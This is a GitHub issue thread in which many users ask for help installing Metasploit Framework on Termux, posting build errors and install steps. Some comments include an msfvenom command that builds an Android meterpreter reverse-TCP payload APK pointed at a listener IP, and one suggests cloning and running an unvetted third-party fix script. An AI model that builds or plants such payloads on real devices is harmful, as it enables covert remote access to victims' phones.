Metasploit-framework: Problem in installing the metasploit-framework in termux

Created on 25 Jul 2017  ·  87Comments  ·  Source: rapid7/metasploit-framework

Sry to say that I am not resolved with installing the metasploit ptamework in gnuroot or termux

This time I getting this error.

Plz ready this error and what should I do now.

Gem::Ext::BuildError: ERROR: Failed to build gem
native extension.

current directory:
/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/ext
/data/data/com.termux/files/usr/bin/ruby -r
./siteconf20170725-22469-1acd6n5.rb extconf.rb
checking for pg_config... no
No pg_config... trying anyway. If building fails,
please try again with
--with-pg-config=/path/to/pg_config
checking for libpq-fe.h... no
Can't find the 'libpq-fe.h header
* extconf.rb failed *
Could not create Makefile due to some reason,
probably lack of necessary
libraries and/or headers. Check the mkmf.log file
for more details. You may
need configuration options.

Provided configuration options:
--with-opt-dir
--without-opt-dir
--with-opt-include--without-opt-include=${opt-dir}/include
--with-opt-lib
--without-opt-lib=${opt-dir}/lib
--with-make-prog
--without-make-prog
--srcdir=.
--curdir
--ruby=/data/data/com.termux/files/usr/bin/$(RUBY_BASE_NAME)
--with-pg
--without-pg
--enable-windows-cross
--disable-windows-cross
--with-pg-config
--without-pg-config
--with-pg_config
--without-pg_config
--with-pg-dir
--without-pg-dir
--with-pg-include
--without-pg-include=${pg-dir}/include
--with-pg-lib
--without-pg-lib=${pg-dir}/lib

To see why this extension failed to compile, please
check the mkmf.log which can be found here:

/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/extensions/aarch64-linux/2.4.0/pg-0.20.0/mkmf.log

extconf failed, exit code 1

ailed, exit code 1

Gem files will remain installed in
/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0
for inspection.
Results logged to
/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/extensions/aarch64-linux/2.4.0/pg-0.20.0/gem_make.out

An error occurred while installing pg
(0.20.0), and Bundler cannot continue.
Make sure that gem install pg -v '0.20.0'
succeeds before bundling.

In Gemfile:
metasploit-framework was resolved to 4.15.4,
which depends on
metasploit-credential was resolved to 2.0.10,
which depends on
metasploit_data_models was resolved to
2.0.15, which depends on
pg

Plz help me last time and guide me what should I do now this error is simmlier to past error.

Plz........ Help
I am installing in gnuroot debain an android or termux

termux

Most helpful comment

There are other problems discussed here: https://github.com/termux/termux-packages/issues/715
For now you can do the following which should work:

apt update
apt -y upgrade
apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config
git clone -b termux https://github.com/timwr/metasploit-framework.git
cd metasploit-framework
gem install bundler
gem install nokogiri -- --using-system-libraries
bundle install --gemfile Gemfile.local
./msfconsole

We'll try and get all the fixes into termux or metasploit-framework to make things easier.

All 87 comments

Make sure that gem install pg -v '0.20.0' succeeds before bundling.

There are other problems discussed here: https://github.com/termux/termux-packages/issues/715
For now you can do the following which should work:

apt update
apt -y upgrade
apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config
git clone -b termux https://github.com/timwr/metasploit-framework.git
cd metasploit-framework
gem install bundler
gem install nokogiri -- --using-system-libraries
bundle install --gemfile Gemfile.local
./msfconsole

We'll try and get all the fixes into termux or metasploit-framework to make things easier.

This error generate in 3rd last command
To see why this extension failed to compile, please check the mkmf.log which can be found here:

/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/extensions/aarch64-linux/2.4.0/nokogiri-1.8.0/mkmf.log

extconf failed, exit code 1

Gem files will remain installed in /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/nokogiri-1.8.0 for inspection.
Results logged to /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/extensions/aarch64-linux/2.4.0/nokogiri-1.8.0/gem_make.out

Help.....

Can you try in a fresh install of termux? It works for me

OK I try did it need any addional package just above you mentions only

You sure you're pasting the full line of dependencies?

apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils \
libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config

Ohh I using rapid7 package don't yours will it work

yes mine is different. We'll try get the fixes merged into metasploit / termux

OK I understand I have to download your metasploits framework and then use above command to run this in termux OK
If I face any problem I come back to you thanks timer you are greater.....

I think all of the fixes are merged now.

when ever I run msfconsole I get this error and when I chevk the DB_status it shows not connected

/data/data/com.termux/files/home/metasploit-framework/metasploit-framework-4.16.4/config/boot.rb:4: warning: already initialized constant GEMFILE_EXTENSIONS
/data/data/com.termux/files/home/metasploit-framework/config/boot.rb:4: warning: previous definition of GEMFILE_EXTENSIONS was here
WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so: unused DT entry: type 0xf arg 0x1693

After some problems I solved, i bundle installed it and it got completed by saying

"Bundle complete! 14 Gemfile dependencies, 128 gems now installed.
Bundled gems are installed into ./vendor/cache"

But the current problem is when when try "./msfconsole" I am getting this

"The git source https://github.com/timwr/network_interface.git is not yet checked out. Please run bundle install before trying to start your application"

Please help.
Sorry for my bad English.

Thanks for your response
I got busy
I will try this

I was unable to use msfconsole ERORR
Termux-Metasploit

/data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:in parse': (/data/data/com.termux/files/home/metasploit-framework/config/database.yml): mapping values are not allowed in this context at line 9 column 25 (Psych::SyntaxError) from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:inparse_stream'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:325:in parse' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:252:inload'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:473:in block in load_file' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:inopen'
from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:in load_file' from /data/data/com.termux/files/home/metasploit-framework/lib/msf/ui/console/driver.rb:179:ininitialize'
from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in new' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:indriver'
from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in start' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/base.rb:82:instart'
from ./msfconsole:48:in `

'

WARNING: linker: nokogiri.so: unused DT entry: type 0x6ffffef5 arg 0xb30
WARNING: linker: parser.so: unused DT entry: type 0x6ffffef5 arg 0x2b8
WARNING: linker: generator.so: unused DT entry: type 0x6ffffef5 arg 0x354
WARNING: linker: pcaprub_c.so: unused DT entry: type 0x6ffffef5 arg 0x378
WARNING: linker: bcrypt_ext.so: unused DT entry: type 0x6ffffef5 arg 0x26c
WARNING: linker: msgpack.so: unused DT entry: type 0x6ffffef5 arg 0x750
WARNING: linker: redcarpet.so: unused DT entry: type 0x6ffffef5 arg 0x2c4
WARNING: linker: pg_array_parser.so: unused DT entry: type 0x6ffffef5 arg 0x1c4
WARNING: linker: pg_ext.so: unused DT entry: type 0x6ffffef5 arg 0xb60
I got this error when I am run the msfconsole
plz help me please

Are you starting the postgresql module prior to launching the msfconsole? In termux, it’s the postgresql package ==>> postgres as the command to start the function.

I've been getting the same error as 11071999 WARNING LINKER. Please help me fix it. I'm not sure what you meant finessin87

MetasPloit Framework conso[] Starting the MetaspLoit Framework conso[] Starting the MetasplOit Framework conso[] Starting the MetasploIt Framework conso[] $ msfconsole WARNING: linker: nokogiri.so: unused DT entry: type 0x6ffffef5 arg 0xb30 WARNING: linker: parser.so: unused DT entry: type 0x6ffffef5 arg 0x2b8 WARNING: linker: generator.so: unused DT entry: type 0x6ffffef5 arg 0x354 WARNING: linker: pcaprub_c.so: unused DT entry: type 0x6ffffef5 arg 0x378 WARNING: linker: bcrypt_ext.so: unused DT entry: type 0x6ffffef5 arg 0x26c WARNING: linker: msgpack.so: unused DT entry: type 0x6ffffef5 arg 0x750 [*] starting the Metasploit Framew

plz hlep me if you can 😊

The WARNING: LINKER: message/s every time I create a msfvenom payload or start msfconsole doesn't seem to have any effect at all.

I was using Meta
Without any problems
But after you reset the phone
I have become aware of this mistake
I can no longer pylod 😶

Did you reset as in wipe the phone or reset by removing the battery? What is the error message it gives you?

$ls
$cd metasploit
$msfvenom -p android/meterpreter/reverse_tcp LHOST= XX.XXX.XX.XX LPORT=4444 R > /sdcard/payload.apk

$msfconsole

$cd metasploit-framework (sorry)

Yes I have deleted the phone And the message of error

$ ./msfconsole
WARNING: linker: nokogiri.so: unused DT entry: type 0x6ffffef5 arg 0xb34
WARNING: linker: parser.so: unused DT entry: type 0x6ffffef5 arg 0x2b8
WARNING: linker: generator.so: unused DT entry: type 0x6ffffef5 arg 0x354
WARNING: linker: pcaprub_c.so: unused DT entry: type 0x6ffffef5 arg 0x378
WARNING: linker: bcrypt_ext.so: unused DT entry: type 0x6ffffef5 arg 0x26c
WARNING: linker: msgpack.so: unused DT entry: type 0x6ffffef5 arg 0x61c
WARNING: linker: redcarpet.so: unused DT entry: type 0x6ffffef5 arg 0x2c4
WARNING: linker: network_interface_ext.so: unused DT entry: type 0x6ffffef5 arg 0x258
[*] Starting the Metasploit Framework console.../

And work

But when I want to make payload

I can not because of these mistakes

I'm sorry I took a lot of your time 😊

بتاريخ ١٠‏/٠٣‏/٢٠١٨ ١٩:٤٩، كتب "jade fourie" notifications@github.com:

$cd metasploit-framework (sorry)


You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/8765#issuecomment-372054711,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Ahh4S8wu3cqN3P_DsOpxpssRlLnsU0hFks5tdCAbgaJpZM4Oiuak
.

I always face this problem when installing metasploit in termux

E: Package 'postgresql-contrib' has no installation candidate

Pls help i dont know what to do i had tried many diffrent ways but face this error in all of it.

Help!!!

Downloading nokogiri-1.8.0 revealed dependencies not in the API or the lockfile
(mini_portile2 (~> 2.2.0)).
Either installing with --full-index or running bundle update nokogiri should fix the
problem.

In Gemfile:
factory_girl_rails was resolved to 4.9.0, which depends on
railties was resolved to 4.2.10, which depends on
actionpack was resolved to 4.2.10, which depends on
actionview was resolved to 4.2.10, which depends on
rails-dom-testing was resolved to 1.0.8, which depends on
nokogiri

@Gentek200 the postgresql-contrib is now include in th postgresql package just install it

Pls help!i installed gem but it still giving this error

On Apr 16, 2018 16:35, "lesid" notifications@github.com wrote:

@Gentek200 https://github.com/Gentek200 the postgresql-contrib is now
include in th postgresql package just install it


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/8765#issuecomment-381576027,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AkmU6D7j5Y25UelhbC8ILQRfVucv3Vjjks5tpIkTgaJpZM4Oiuak
.

$ bundle install -j5
Your lockfile is unreadable. Run rm Gemfile.lock and then bundle install to generate a new lockfile.
$

This is what it shows when I try to install bundle

$./msfconsole
Your lockfile is unreadable. Run rm Gemfile.lock and then bundle install to generate a new lockfile.

And it also show this if I type msfconsole ......pls help

i got a prob

./msfconsole
Could not find nokogiri-1.8.0 in any of the sources
Run'bundle install' to install missing gems.

and when i do

'bundle install' it show's me

Downloading nokogiri-1.8.0 revealed dependencies not in the API or the lockfile (mini_portile2 (->2.2.0)),
Either installing with '--full-index' or running 'bundle update nokogiri' should fix the problem.

In Gemfile:
factory_girl_rails was resolved to 4.9.0, wich
depends on
railties was resolved ro 4.2.10, which depends
on
actionpack was resolved to 4.2.10, which
depends on
actionview was resolved to 4.2.10, which
depends on
rails-dom-testing was resolved to 1.9.0,
which depends on
nokogiri

and then if i do 'bundle install' this comes up

An error occurred while installing
nokogiri (1.8.4), and Bundler cannot continue.
Make sure that 'gem install nokogiri -v '1.8.0'
--source 'http://runygems.org/' ' succeeds before
bundling.

In Gemfile:
factory_girl_rails was resolved to 4.9.0, wich
depends on
railties was resolved ro 4.2.10, which depends
on
actionpack was resolved to 4.2.10, which
depends on
actionview was resolved to 4.2.10, which
depends on
rails-dom-testing was resolved to 1.9.0,
which depends on

can you guys help me?

Using postgres_ext 3.0.1
Downloading nokogiri-1.8.0 revealed dependencies not in
the API or the lockfile (mini_portile2 (~> 2.2.0)).
Either installing with --full-index or running
bundle update nokogiri should fix the problem.

In Gemfile:
factory_girl_rails was resolved to 4.9.0, which
depends on
railties was resolved to 4.2.10, which depends on
actionpack was resolved to 4.2.10, which depends
on
actionview was resolved to 4.2.10, which
depends on
rails-dom-testing was resolved to 1.0.9,
which depends on
nokogiri
Help

msfconsole: command not found
Help me

@Egrak please don't post on closed issues. That said, evidently the msfconsole command is not available in $PATH.

bundle install

[!] There was an error parsing Gemfile: There are no gemspecs at /data/data/com.termux/files/home/metasploit-framework. Bundler cannot continue.

# from /data/data/com.termux/files/home/metasploit-framework/Gemfile:4
# -------------------------------------------
# # spec.add_runtime_dependency '', []

gemspec name: 'metasploit-framework'
#
# -------------------------------------------

@Egrak please don't post on closed issues.

Unfortunately termux is not an officially supported console environment at this time. There is an active community working with it however. The issue linked here leads to lot of resources for getting up and running.

termux/termux-packages/issues/715

Delete folder pg-0.20.0

Than
bundle install

screenshot_2019-01-10-16-11-20-584_com termux
why this happens to me ??? I cant make venom i've already installed metasploit but gems are not installed why???

I am heading an issue running msfconsole.
Everytime I try and load msfconsole it tells me I need to install gem bundler... I install the gem, it tells me it installed fine. I go to run msfconsole again and it tells me the exact same thing got. Why am I getting this gem error

What is going on with my termuX https://photos.app.goo.gl/hP58zBnwtLP6K4Co6

Termux is not supported. #11023

rm Gemfile.lock
And again install
bundle install
To new Gemfile create

/data/data/com.termux/files/usr/bin/bundle:

Omg.. yeah I had it working last week I've tried almost every install method out there.. and it will not install properly any more.. I have experienced every single error mentioned here..
But my friend just did it successfully but cant remember completely how he did it.. so there is a way that works out there still.

@anongrunge Yes, there were changes to Metasploit a week or two ago, which caused Metasploit to stop working on Termux.

Termux is not an officially supported platform for Metasploit. https://github.com/rapid7/metasploit-framework/issues/11023

The Termux issue tracker is the appropriate place to seek support for Termux: https://github.com/termux/termux-packages/issues/715

It appears that an official Termux package is now available, as per: https://github.com/termux/termux-packages/issues/715#issuecomment-469177911

Yeah, I'd recommend using their official package for sure, and please be sure to read the wiki carefully:

https://wiki.termux.com/wiki/Metasploit_Framework

[!] There was an error parsing Gemfile:
[!] There was an error while loading grpc.gemspec: cannot load such file -- grpc/version
Does it try to require a relative path? That's been removed in Ruby 1.9. Bundler cannot continue.

# from /data/data/com.termux/files/home/metasploit-framework/grpc.gemspec:4
# -------------------------------------------
# $LOAD_PATH.push File.expand_path('../src/ruby/lib', __FILE__)

require 'grpc/version'
#
# -------------------------------------------
. Bundler cannot continue.

# from /data/data/com.termux/files/home/metasploit-framework/Gemfile:4
# -------------------------------------------
# # spec.add_runtime_dependency '', []

gemspec name: 'metasploit-framework'
#
# -------------------------------------------

Please help me what to do with this error

@nitesh-mishr The Termux team is the best place to seek support for Metasploit on Termux:

https://wiki.termux.com/wiki/Metasploit_Framework

git clone https://github.com/usersdsa/termux-meta-fix
cd termux-meta-fix
chmod +x fix
./fix

(NoMethodError)

how to solve this issue

Bundler::Settings:0x00000071454f2700(NoMethodError)

how to solve this issue

Ask the Termux team

iv tried all of these and none of them work all have errors at the end its a waste of time

iv tried all of these and none of them work all have errors at the end its a waste of time

I'm sure the Termux team will be happy to help you with your issues.

You can learn more about the Metasploit package for Termux here:

I got this proble,m plesae help me
metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for Msf::DBManager
Traceback (most recent call last):
36: from /data/data/com.termux/files/usr/bin/msfconsole:48:in <main>' 35: from /data/data/com.termux/files/usr/bin/msfconsole:48:inrequire'
34: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 33: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
32: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 31: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
30: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:46:in <top (required)>' 29: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.2/lib/backports/std_lib.rb:9:inrequire_with_backports'
28: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.2/lib/backports/std_lib.rb:9:in require' 27: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/framework.rb:18:in 26: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/framework.rb:26:in <module:Msf>' 25: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/framework.rb:61:in'
24: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.2/lib/backports/std_lib.rb:9:in `requ

@cypherhack

I'm sure the Termux team will be happy to help you with your issues.

You can learn more about the Metasploit package for Termux here:

cd metasploit-framework
$ gem install bundler
ERROR: While executing gem ... (Errno::EACCES)
Permission denied @ rb_sysopen - /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/bundler-2.0.1/CHANGELOG.md
$how to fix

An error occurred while installing
nokogiri (1.10.3), and Bundler cannot continue.
Make sure that gem install nokogiri -v '1.10.3' --source 'https://rubygems.org/' succeeds before
bundling.
what should i do pls help so strucked in it

Downloading nokogiri-1.8.0 revealed dependencies not in the API or the lockfile (mini_portile2 (~> 2.2.0)).

how..???

./msfconsole

[!] There was an error parsing Gemfile:
[!] There was an error while loading grpc.gemspec: cannot load such file -- grpc/version
Does it try to require a relative path? That's been removed in Ruby 1.9. Bundler cannot continue.

# from /data/data/com.termux/files/home/metasploit-framework/grpc.gemspec:4
# -------------------------------------------
# $LOAD_PATH.push File.expand_path('../src/ruby/lib', __FILE__)

require 'grpc/version'
#
# -------------------------------------------
. Bundler cannot continue.

# from /data/data/com.termux/files/home/metasploit-framework/Gemfile:4
# -------------------------------------------
# # spec.add_runtime_dependency '', []

gemspec name: 'metasploit-framework'

. /msfconsole

Not working

Plz.. Help

@JayMalakar

Termux is not officially supported. #11023

However, Metasploit reportedly does work with Termux.

Refer to the following for more information:

Unable to install metasploit in termux it shows xyz code ------ Get:9 https://dl.bintray.com/grimler/science-packages-24 science Release [5348 B]
Hit:9 https://dl.bintray.com/grimler/science-packages-24 science Release
Get:11 https://dl.bintray.com/xeffyr/unstable-packages-24 unstable Release [6065 B]
Hit:11 https://dl.bintray.com/xeffyr/unstable-packages-24 unstable Release
Reading package lists... Done
Building dependency tree
Reading state information... Done
All packages are up to date.
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package metasploit-framework
$

apt install metasploit

and also please consider posting further queries on
github.com/termux/unstable-packages

On Mon, Jun 17, 2019, 8:33 PM tiwari9662 notifications@github.com wrote:

Unable to install metasploit in termux it shows xyz code ------ Get:9
https://dl.bintray.com/grimler/science-packages-24 science Release [5348
B]
Hit:9 https://dl.bintray.com/grimler/science-packages-24 science Release
Get:11 https://dl.bintray.com/xeffyr/unstable-packages-24 unstable
Release [6065 B]
Hit:11 https://dl.bintray.com/xeffyr/unstable-packages-24 unstable Release
Reading package lists... Done
Building dependency tree
Reading state information... Done
All packages are up to date.
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package metasploit-framework
$


You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/8765?email_source=notifications&email_token=AFQBXTLMJYBSLAAGPZEOFV3P26RTZA5CNFSM4DUK42SKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODX3OTFY#issuecomment-502720919,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFQBXTPJAKFGNA2DIVGY4PTP26RTZANCNFSM4DUK42SA
.

Help!
metasploit-framework postgresql_ctl.sh
$ cd metasploit-framework
$ msfconsole
Could not find nokogiri-1.8.0 in any of the sources
Run bundle install to install missing gems.
$ bundle install
Fetching gem metadata from https://rubygems.org/..............
Using rake 12.3.2
Using Ascii85 1.0.3
Using concurrent-ruby 1.0.5
Using i18n 0.9.5
Using minitest 5.11.3
Using thread_safe 0.3.6
Using tzinfo 1.2.5
Using activesupport 4.2.11
Using builder 3.2.3
Using erubis 2.7.0
Using mini_portile2 2.4.0
Fetching nokogiri 1.8.0
Downloading nokogiri-1.8.0 revealed dependencies
not in the API or the lockfile (mini_portile2 (~>
2.2.0)).
Either installing with --full-index or running
`bundle update nokogiri should fix the problem.
$ bundle update nokogiri
Fetching gem metadata from https://rubygems.org/..............
Fetching gem metadata from https://rubygems.org/.
Resolving dependencies.........................................................................................
Using rake 12.3.2
Using Ascii85 1.0.3
Using concurrent-ruby 1.0.5
Using i18n 0.9.5
Using minitest 5.11.3
Using thread_safe 0.3.6
Using tzinfo 1.2.5
Using activesupport 4.2.11
Using builder 3.2.3
Using erubis 2.7.0
Using mini_portile2 2.4.0
Fetching nokogiri 1.10.3 (was 1.8.0)
Installing nokogiri 1.10.3 (was 1.8.0) with native extensions
Gem::Ext::BuildError: ERROR: Failed to build gem
native extension.

current directory:
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/nokogiri-1.10.3/ext/nokogiri
/data/data/com.termux/files/usr/bin/ruby -I
/data/data/com.termux/files/usr/lib/ruby/2.6.0 -r
./siteconf20190806-12610-18q5l4p.rb extconf.rb
checking if the C compiler accepts ... *
extconf.rb failed *

Could not create Makefile due to some reason,
probably lack of necessary
libraries and/or headers. Check the mkmf.log file
for more details. You may
need configuration options.

Provided configuration options:
--with-opt-dir
--without-opt-dir
--with-opt-include
--without-opt-include=${opt-dir}/include
--with-opt-lib
--without-opt-lib=${opt-dir}/lib
--with-make-prog
--without-make-prog
--srcdir=.
--curdir
--ruby=/data/data/com.termux/files/usr/bin/$(RUBY_BASE_NAME)
--help
--clean
/data/data/com.termux/files/usr/lib/ruby/2.6.0/mkmf.rb:467:in
try_do': The compiler failed to generate an executable file. (RuntimeError) You have to install development tools first. from /data/data/com.termux/files/usr/lib/ruby/2.6.0/mkmf.rb:585:in ``block in try_compile' from /data/data/com.termux/files/usr/lib/ruby/2.6.0/mkmf.rb:532:in with_werror'
from
/data/data/com.termux/files/usr/lib/ruby/2.6.0/mkmf.rb:585:in
try_compile' from extconf.rb:138:innokogiri_try_compile'
from extconf.rb:162:in block in add_cflags' from /data/data/com.termux/files/usr/lib/ruby/2.6.0/mkmf.rb:643:in with_cflags'
from extconf.rb:161:in add_cflags' from extconf.rb:416:in

'

To see why this extension failed to compile,
please check the mkmf.log which can be found here:

/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/extensions/arm-linux/2.6.0/nokogiri-1.10.3/mkmf.log

extconf failed, exit code 1

Gem files will remain installed in
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/nokogiri-1.10.3
for inspection.
Results logged to
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/extensions/arm-linux/2.6.0/nokogiri-1.10.3/gem_make.out

An error occurred while installing
nokogiri (1.10.3), and Bundler cannot continue.
Make sure that gem install nokogiri -v '1.10.3' --source 'https://rubygems.org/' succeeds before
bundling.

In Gemfile:
factory_bot_rails was resolved to 4.11.1, which
depends on
railties was resolved to 4.2.11, which depends
on
actionpack was resolved to 4.2.11, which
depends on
actionview was resolved to 4.2.11, which
depends on
rails-dom-testing was resolved to 1.0.9,
which depends on
nokogiri
$

@Kirillvek

Termux is not officially supported. #11023

However, Metasploit reportedly does work with Termux.

Refer to the following for more information:

[!] There was an error parsing Gemfile: There are no gemspecs at /data/data/com.termux/files/home/metasploit-framework. Bundler cannot continue.

# from /data/data/com.termux/files/home/metasploit-framework/Gemfile:4
# -------------------------------------------
# # spec.add_runtime_dependency '', []

gemspec name: 'metasploit-framework'
#
# -------------------------------------------

And /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead.
Help me..?

Me 2

[!] There was an error parsing Gemfile:
[!] There was an error while loading grpc.gemspec: cannot load such file -- grpc/version
Does it try to require a relative path? That's been removed in Ruby 1.9. Bundler cannot continue.

# from /data/data/com.termux/files/home/metasploit-framework/grpc.gemspec:4
# -------------------------------------------
# $LOAD_PATH.push File.expand_path('../src/ruby/lib', __FILE__)

require 'grpc/version'
#
# -------------------------------------------
. Bundler cannot continue.

# from /data/data/com.termux/files/home/metasploit-framework/Gemfile:4
# -------------------------------------------
# # spec.add_runtime_dependency '', []

gemspec name: 'metasploit-framework'
#
# -------------------------------------------
$

Please sm 1 fix this bug

@Symetrix-qk9

Termux is not officially supported. #11023

However, Metasploit reportedly does work with Termux.

Refer to the following for more information:

Help me

An error occurred while installing bcrypt (3.1.13), and
Bundler cannot continue.
Make sure that gem install bcrypt -v '3.1.13' --source 'https://rubygems.org/' succeeds before bundling.

I'm having issues getting the dependencies met after trying to apply the temp fix that is posted. Here is my output:

[u0_a16@localhost] - [~] - [Wed Nov 06, 10:56]
└─[$] <> apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils \
libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package libffi-dev is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
  libffi

Package libpcap-dev is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
  libpcap

Package libsqlite-dev is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
  libsqlite

Package libxslt-dev is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
  libxslt

Package postgresql-dev is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
  postgresql

Package ruby-dev is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
  ruby

E: Package 'ruby-dev' has no installation candidate
E: Package 'libsqlite-dev' has no installation candidate
E: Package 'postgresql-dev' has no installation candidate
E: Package 'libpcap-dev' has no installation candidate
E: Package 'libffi-dev' has no installation candidate
E: Package 'libxslt-dev' has no installation candidate

I go to install the "replacement" packages but it just outputs the same errors. What happened to the dev packages?

[!] There was an error parsing Gemfile.local: You cannot specify the same gem twice coming from different sources. You specified that network_interface (>= 0) should come from an unspecified source and https://github.com/timwr/network_interface.git (at master) . Bundler cannot continue. # from /data/data/com.termux/files/home/metasploit-framework/Gemfile.local:30 # ------------------------------------------- # group :local do > gem 'network_interface', :git => "https://github.com/timwr/network_interface.git", :branch => "master" # end # -------------------------------------------

What I need to do???

Bro, phones are so cool!!!
I would start by asking the right people. These guys don't even termux bro.
Check this cool link out https://github.com/rapid7/metasploit-framework/issues/8765#issuecomment-528529038

brows please help i cant accese metasploit hw to do

Plz help me its so irritating i try 5 times uninstall the termux and start download the metasploit but every time after installion he gave error when i start msfvenom or msfconsole

$ msfvenom
CANNOT LINK EXECUTABLE "ruby": library "/data/data/com.termux/files/usr/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal.so" not found
$ msfconsole
CANNOT LINK EXECUTABLE "ruby": library "/data/data/com.termux/files/usr/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal.so" not found
$

Plz plz help me

Ah, that's an easy one to solve! Check out the link
https://github.com/rapid7/metasploit-framework/issues/8765#issuecomment-528529038

I have a problem too dpkg: error processing package metasploit (--configure):
installed metasploit package post-installation script subprocess returned error exit status 18
Processing triggers for man (1.14.5-1) ...
Errors were encountered while processing:
metasploit
E: Sub-process /data/data/com.termux/files/usr/bin/dpkg returned an error code (1)

brother i had this problem. and my head explosed before i found solution if u wanrt do like i did follow my steps :

delete all data and cach of termux until the data becom 0 kb (setting. manage applications. termux. stockage. delete data)

re-open termux and write the firsts commands (pkg update. pkg upgrade. pkg install php. pkg install git…… ect.)

now we install the metasploit 5 correctly without any error or problem.

-- pkg install unstable-repo

-- pkg install metasploit

it will take long time. when finishin the installation you can wrute commad "msfconsole" anywhere no need to write in folder of metasploit
now it work correctly

this way worked 100% for me in my phone and in emulator

note : this is the first way for install metasploit if you have the older version inyour phone and you install this it will not work

bash: cd: metasploit-framework: No such file or directory

Please help me fix it

bash: cd: metasploit-framework: No such file or directory

Please help me fix it

You have to grant permission to Termux emulator to the internal as well as external storage. You can run the below command,

termux-setup-storage

And then you can access the storage of your device. [[Source](https://onegyd.com/install-metasploit-framework-on-termux-android/)]

Try this "termux-setup-storage"
Then "ls"

On Fri, Aug 14, 2020, 22:15 vivekbhuva notifications@github.com wrote:

$ msfvenom -p android/meterpreter/reverse_tcp lhost=25.139.250.169
lport=4444 R > payload.apk
Traceback (most recent call last):
ruby: No such file or directory --
/data/data/com.termux/files/usr/opt/metasploit-framework/msfvenom
(LoadError)

How to solve thia error??
Please help bro..


You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/8765#issuecomment-674096103,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ANHHUL7X36PLZ7E7YBMPRGDSAVBJVANCNFSM4DUK42SA
.

Try this "termux-setup-storage" Then "ls"

